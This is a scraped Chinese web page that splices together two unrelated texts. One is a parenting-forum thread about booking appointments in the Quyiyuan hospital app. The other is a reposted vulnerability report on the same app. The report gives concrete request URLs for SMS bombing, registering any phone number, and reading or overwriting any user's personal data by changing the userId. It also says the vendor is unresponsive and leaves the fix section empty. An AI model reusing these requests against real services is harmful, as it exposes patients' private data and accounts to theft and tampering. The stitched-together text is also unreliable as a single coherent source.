趣协和医院就诊卡办理怎么更改就诊者信息

来源：蜘蛛抓取(WebSpider) 时间：2016-07-24 19:17 标签： 华西医院就诊卡
趣医院谁用过？_在趣医院上预约必须要有就诊卡吗？不能直接预约_宝宝树
趣医院谁用过？
在趣医院上预约必须要有就诊卡吗？不能直接预约吗？
不用去医院办理，直接就可以预约是不？
回复 &樱夜静飘&
20:13:21发表的
直接注册账号就有就诊号的
趣医院上预约也要交预约费的，到医院还要交费？在趣医院上预约上，会不会到医院排不上号？
回复 &樱夜静飘&
20:24:15发表的
你在趣医院上面可以选择医生挂号，预约成功后到医院导医台开单子去挂号处缴费，每周一都可以约这一周的号，不过有的医生处爆满。
谢谢你了！
回复 &樱夜静飘&
21:00:48发表的
趣医院预约不用缴费，我一直都在上面约的，当天到了医院才缴费的，反正你尽量早点去，上午号11点前到，下午号4点前到，我每次都约的上午号，一般9点到前面都会排很多人。
我想挂新区的号，只能当天挂吗？不能提前预约？丁主任排队人太多，还有哪个大夫好点
回复 &紫陌花影87&
08:58:57发表的
新区老区？？新区当天可以直接挂号，不是当天的只能预约，老区预约管用
我一般早上8点看趣医院都可以挂号，没有满，是不是挂完号我就要直接去医院约上午下午不能去？
回复 &小天天-05-29 06:18:20发表的
不用，那上面直接挂号了，一般都比较靠前。
趣医院谁用过？相关的更多内容:
[知识] [知识] [知识] [知识] [知识] [知识] [日记] [日记] [日记] [日记] [日记] [日记]
需要账号和密码的外链可能是钓鱼网站，为了您的账号和财产安全，请勿提供任何有效信息！目前没有跟贴，欢迎你发表观点
举报与反馈
图片，文字等缺失或错误
色情，暴力等非法内容
广告，重复文章等垃圾内容
我有话要说趣医院APP安全问题打包(涉及遍历用户信息含密码) - 推酷
趣医院APP安全问题打包(涉及遍历用户信息含密码)
趣医院APP安全问题打包(涉及遍历用户信息含密码)
设计缺陷/逻辑错误
未联系到厂商或者厂商积极忽略
认证设计不合理,
,设计缺陷/边界绕过
1.注册接口没有安全控制，可用于短信轰炸
:8888/APP/user/action/DataValidationActionC.jspx?_dc=3&hospitalId=&PHONE_NUMBER=手机号&modId=10001&messageType=3&op=sendRegCheckCodeActionC&loc=c&isLogin=false&hospitalID=&opVersion=1.1.80&operateUserSource=0&page=1&start=0&limit=25
2.任意手机号注册
修改手机号提交即可
:8888/APP/user/action/LoginAction.jspx?_dc=5&postdata=%7B%22PHONE_NUMBER%22%3A%3%22%2C%22USER_ID%22%3Anull%2C%22PASSWORD%22%3A%b61c1af2eef98775fcd1dfeedf14b596f6a85b71cdccc626ebe2ddc9ad7979d4eca0f6c3dea2a%22%2C%22ConfirmPASSWORD%22%3Anull%2C%22EMAIL%22%3Anull%2C%22NAME%22%3Anull%2C%22BIRTHDAY%22%3Anull%2C%22REGISTER_DATE%22%3Anull%2C%22REMARK%22%3Anull%2C%22SEX%22%3Anull%2C%22MEDICAL_GUIDE%22%3Anull%2C%22USER_SOURCE%22%3A%220%22%2C%22OPEN_ID%22%3Anull%2C%22PUBLIC_SERVICE_TYPE%22%3Anull%2C%22id%22%3A%22ext-record-78%22%2C%22USER_CODE%22%3A%3%22%7D&op=register&loc=c&isLogin=false&hospitalID=&opVersion=1.1.80&operateUserSource=0&page=1&start=0&limit=25
3.任意用户信息获取 改id
:8888/APP/user/action/LoginAction.jspx?_dc=6&userId=1200&op=queryUserInfo&isLogin=true&hospitalID=10778&opVersion=1.1.80&operateCurrent_UserId=1&operateUserSource=0&page=1&start=0&limit=25
4.任意用户信息修改
在个人信息修改时，最神奇的是，只要把userid改掉提交，就能瞬间把别人的手机覆盖变成未注册。。
:8888/APP/user/action/LoginAction.jspx?_dc=1&postdata=%7B%22ID_NO%22%3A%****************%22%2C%22USER_ID%22%3A%%2C%22PASSWORD%22%3Anull%2C%22ConfirmPASSWORD%22%3Anull%2C%22EMAIL%22%3Anull%2C%22NAME%22%3A%22%5Cu1d2%22%2C%22USER_CODE%22%3Anull%2C%22PHONE_NUMBER%22%3A%3%22%2C%22CARD_NO%22%3A%22Q%2C%22BIRTHDAY%22%3A%-13%22%2C%22REGISTER_DATE%22%3Anull%2C%22SEX%22%3A%221%22%2C%22id%22%3A%22ext-record-401%22%7D&cardNo=Q&userVsId=169139&op=updateuser&loc=c&isLogin=true&hospitalID=10778&opVersion=1.1.80&operateCurrent_UserId=124009&operateUserSource=0&page=1&start=0&limit=25
漏洞证明：
修改参数浏览器访问即可。。
修复方案：
版权声明：转载请注明来源
已发表评论数()
请填写推刊名
描述不能大于100个字符!
权限设置： 公开
仅自己可见
正文不准确
标题不准确
排版有问题
主题不准确
没有分页内容
图片无法显示
视频无法显示
与原文不一致

我要回帖

更多关于 华西医院就诊卡 的文章

 

随机推荐